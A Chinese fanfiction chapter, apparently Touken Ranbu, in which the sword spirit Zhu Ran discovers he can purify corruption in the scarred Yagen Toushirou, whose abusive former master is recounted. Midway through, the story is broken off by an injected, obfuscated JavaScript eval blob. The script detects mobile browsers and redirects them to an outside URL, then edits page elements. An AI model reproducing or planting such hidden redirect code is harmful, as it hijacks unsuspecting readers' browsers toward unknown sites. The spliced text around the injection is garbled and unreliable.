除了身上的伤,还有冷漠的气质,他看起来和其他药研没有任何区别。 但是祝染能很明显地看到游走在对方身体上的,不详的气息。 暗堕,但是如堕。 他实在是有些好奇,所以那天故意向他们打招呼,悄悄地靠近了药研,放出了自己的一丝力量。 然后,他能很明显地看到,随着自己的那一缕能量的靠近,药研身上的暗堕气息在消散。 要不是放出去的能量太少,估计当场就驱散完了。 原来我的能力是空气净化器么。 祝染不可置信。 这真的是震撼到了他,以至于顶着压切长谷部杀人刃的目光,他也进一步向执法队的两人发出了邀请,想要再拿情况比药研严重地多的三日月宗近试验一下。 但是很遗憾的是,对方拒绝了他的邀请,并认为他是个色中饿鬼。 好在祝染抓住时机又对着药研藤四郎来了一下,并确确实实地看到了效果。 然后祝染意识到了,自己真的拥有着能够扭转、或者说是净化暗堕的力量。 只不是这是个主动技能,他之前在溯行军的时候一直都没试过,自然也不知道。 而现在他邀请药研藤四郎握住自己的手,也正是在完成那天没完成的事情。 如果不是遇到药研藤四郎,他可能自己都不知道自己还有这样的能力。 而如果不是因为知道这个能力的宝贵之处,他也不干单枪匹马就来时政找政府的人谈判。 说是谈判,手里没有筹码,那就叫自首。 两只手交握住的那一瞬间,药研藤四郎已经平静干涸了很久的紫色的眸子里,久违地泛起了涟漪。 就算那个人早就在时政的清剿计划里,被他亲手刺穿了心脏,药研藤四郎也永远也忘不了那张扭曲的面容。 他曾经的主人,一个喜欢折磨短刀的,精神状态癫狂的女人。 他是最早去到她本丸里的刀剑付丧神之一,最开始,他们还一起度过了一段平和的开荒期。 甚至因为他的练度很高,用起来很顺手,她可以说是对他格外偏爱的。 最及时的手合、最好的金色远程刀装、还有最优先的极化道具。 而药研藤四郎也因此一直被蒙在鼓里。 他们的审神者因为资质一般,不管再怎么努力,都只能锻出一些没那么稀有的付丧神。 而这些常见的付丧神里,粟田口刀派又因为短刀居多,占据了大头。 于是他这些刚刚显现的、没有练度也足够容易获取的兄弟们,成为了审神者怒火的发泄口。 明明不喜欢的话,刀解掉就可以,但是她偏不。 像是在威胁时之政府一样,这个审神者最喜欢的事情,就是在锻刀室当着那些纸人刀匠的面折磨短刀。 如果不想她继续下去,那就给她稀有刀啊。 可能是因为忘记了药研藤四郎修行的时间,当他满心欢喜地极化归来,面对的就是这样一副狰狞面目的审神者,和他奄奄一息的兄弟们。 既然被戳破了,女人索性演都不演了,她不但折磨这些粟田口的短刀,还在结束之后把他们丢给药研藤四郎去照顾。 随处可见的刀,配不上她浪费资源和灵力去手合。 最后,不知道是不是她的威胁大法真的有了效果,她果真锻出来了一些稀有的刀剑,包括他们的兄长,一期一振。 有了这些稀有刀之后,她以偶很长一段时间都没时间管这些短刀们了。 药研藤四郎难得地获得了一段时间的平静,他带着兄弟们,躲得远远的,生怕再被她想起。 他甚至不敢去跟本丸里的一期一振交谈,生怕他发现自己和兄弟们的异常,然后也发现审神者的秘密。 如果她能一直对一期一振好的话,那这些残忍的真相,永远都不要让兄长知道。 但是药研藤四郎还是想的太天真了,这样一个心胸狭窄到连政府都怨恨的人,又怎么会忘记他们呢。 她把他们这些一点练度也没有,甚至伤痕累累的短刀,送去了时空战场出阵,给她收集资源。 到最后,只有药研一个刃回来了。 他不但没有护住乱藤四郎他们,眼睁整地看着他们在自己眼前碎刀,连他自己都沦为了这个女人威胁一期一振的工具。 他想守护的东西,全都被她精准地毁灭了。 药研藤四郎的弑主,是他终于熬出了头,在本灵们的授意之下进行的合法合规的行刑。 因为本灵和人类们的契约被撕毁了,所以连带着他们也不需要背负契约的枷锁,受到暗堕的诅咒。 所以,很少有刃知道,执法队的队长药研藤四郎也是一振被暗堕侵染的刀。 明明他除了身上那些盘根错节的伤疤外,外表几乎没有发生任何变化。 他是在弑主之前就已经发生暗堕了,连那些本灵都没有发现。 哪怕不是完全暗堕,这个过程也是痛苦的,但是药研藤四郎很喜欢自己暗堕之后的样子。 暗堕又不是他的错,他没有必要为了那个人类疯癫的行为来背负莫须有的罪名。 而且,暗堕之后,他能明显地感觉到自己的力量增强了。 他现在已经有了强大的力量,来守护自己想要的。 现在的药研藤四郎,是执法队里都赫赫有名的反人类分子。 他对于人类的恶劣态度,一部分是因为暗堕后脾气无法控制地变得暴躁冷漠,但更多的是他对人类发自内心的纯恨。 而他身上留下那些丑陋而狰狞的伤疤,虽然不像暗堕气息那样给他带来疼痛,却无时无刻不在提醒着他,人类的卑鄙和虚伪。 而这样的药研藤四郎,此时有一种错觉。 在和祝染掌心触碰的那一瞬间,他一切不为所知的过往的痛苦,在这一瞬间,好像都被祝染所知晓了。 从第一次见面,他就知道祝染不是人类,他身上散发出的,是一种无比清澈的、仿佛可以洗刷一切脏污的能量。 只要靠近他,就会感觉到很安心,体内的力量就不会那么暴虐地横冲直撞。 但是此时对方牵着他的手,他才发现祝染的能量远比他想象中的要更强。 体内力量那种难得的平静,让药研藤四郎恍如隔世。 “谢谢你,殿下。” 药研突然露出来了一个笑容,开口向祝染道谢。 他很清楚祝染这份能力的可贵之处,但对方现在就这样坦诚地给他展示了出来。 而面对他的祝染只是俏皮地朝他眨了眨眼,毫不客气地接受了这份感谢: “就当是给我带路的报酬吧,辛苦你了药研。” 两个刃的对话和谐又神秘。 而落在春川奏的视角里,就是他亲眼看着那振传说中人挡杀人的执法队暴君药研藤四郎,接受了他们面前这个不知名的审神者莫名其妙的握手邀请。 而且露出来了一个非常明亮漂亮,但是实在是反常的笑容。 此时他看起来和万屋其他的,会和兄弟们打闹、会和一期一振撒娇的药研藤四郎没有任何不同。 春川奏觉得自己活不过今天了。 他现在只想把手腕上这个手铐解开然后立刻跑路。 要不然等药研藤四郎回过神,就会他们现在是这样一幅场景: 祝染牵着药研藤四郎的左手,而药研藤四郎的右手上铐着手铐,手铐的另一端栓着他。 三个人莫名其妙就在万屋的大街上手拉手连成了一条。 而且他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678339|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝染两个身高差不多,把药研藤四郎夹在中间,视觉效果就跟某海苔广告里的吉祥三宝一样。 他何德何能干养这样一尊大佛。 还好他只是想想,要是药研藤四郎有读心术,下一秒就得扭断他的胳膊。 虽然药研藤四郎侧对着他,不知道他在干什么,但是祝染能够清楚地看见他。 他就眼睁睁地看着药研藤四郎背后这个人类像个跳蚤一样站立不安地在瑟瑟发抖。 上一次见到这种表情还是和他一起闯了大祸的鹤丸国永。 有事儿吗他。 “这位先生,你还好吗?” “你看起来脸色不太好,是生病了吗,要不要让药研帮你看一下?” 牢记着桃濑灯里给自己传授的人文情怀,祝染关切的目光投向了春川奏。 “没,我没事。” 你要是让药研藤四郎给我看,那就可能会有事情了。 虽然春川奏否认了,但是在祝染看来,他的脸色似乎更难看了。 然后他就感受到了同样转过身的药研藤四郎如影随形地凝视。 阴测测的,跟刚刚的和蔼可亲完全判若两刃,这才是他印象中这振药研藤四郎该有的样子。 很清晰地感受到药研藤四郎对自己的嫌弃,春川奏更加害怕的同时也欲哭无泪。 你要是嫌我碍事你就把我放了啊,不是你抓我来的吗。 看到对方没出息的模样,药研藤四郎轻蔑地嗤笑了一声,他也意识到了春川奏这个时候还把祝染当审神者呢。 “这位是f4269号本丸的审神者,春谷。”药研藤四郎突然开口给祝染做起了介绍。 “春谷大人因为没有通过我们执法队的测试,审神者考核不合格需要重修,我正要带他去我们执法队签字。” 而被药研藤四郎把自己的老底都抖出来的春川奏此时根本没脸直视祝染。 这正好合了药研藤四郎的本意,他要的就是告诉祝染人类审神者是多么不可靠。 虽然不知道祝染和他的审神者到底发生了什么,为什么祝染非要去政府,但是药研能够察觉到祝染对人类的善意。 这可不是好苗头。 在他看来,绝对是祝染的审神者给这不谙世事的新付丧神灌了迷魂汤了。 他必须得让祝染对人类有所认知,让他明白,一眼看上的人类,是他的报应,而千挑万选的人类,是他自找的报应。 要不然去了时之政府这样一个勾心斗角的地方,像他这种单纯善良还优秀的付丧神只会被骗的团团转。 虽然连祝染的名字都还不知道,但因为受到祝染能力的影响,药研藤四郎已经完全对把方当成和他能力一样清澈干净的小白花了。 而祝染虽然不知道药研藤四郎心中所想,但一听这个审神者叫春谷,顿时也没了兴趣。 审神者叫春什么的,犯了春河的忌讳,那就不是什么好东西。 至少没什么品味。 春天到底哪好了,明明秋天才是最好的。 他的姬君就是在秋天跟他说,他们把他当做家人的。 但是祝染想了一下,既然药研告诉他这个审神者的名字,那他也应该礼貌一点做个自我介绍。 而且,这也是一个很好的机会。 眼看药研藤四郎已经答应了自己,解决了去时之政府的向导问题, 那他的下一步就是去时之政府跟他们谈判了。 那么,怎么样才能给政府制造更多的压力呢。 当然是把事情闹大,让所有人都知道他的存在了。 想到这里,面对着即将要成为自己的小喇叭的春川奏,祝染扬起了一个无比真诚的笑容: “春谷大人,您好。” “我是祝染,来自平安时期的祭祀剑,目前正在积极考公上岸中,初次见面,请多关照。” “以及,期待能再次跟您见面。” “以付丧神的身份。” 而被这一句重磅消息震撼到的春川奏,此时也抬起了头,终于看清楚了这个和药研藤四郎疑似是裙带关系的关系户的脸。 被那双漂亮的粉色眼睛望着,他的呼吸都停滞了一拍。 他,见到了时政没公开付丧神?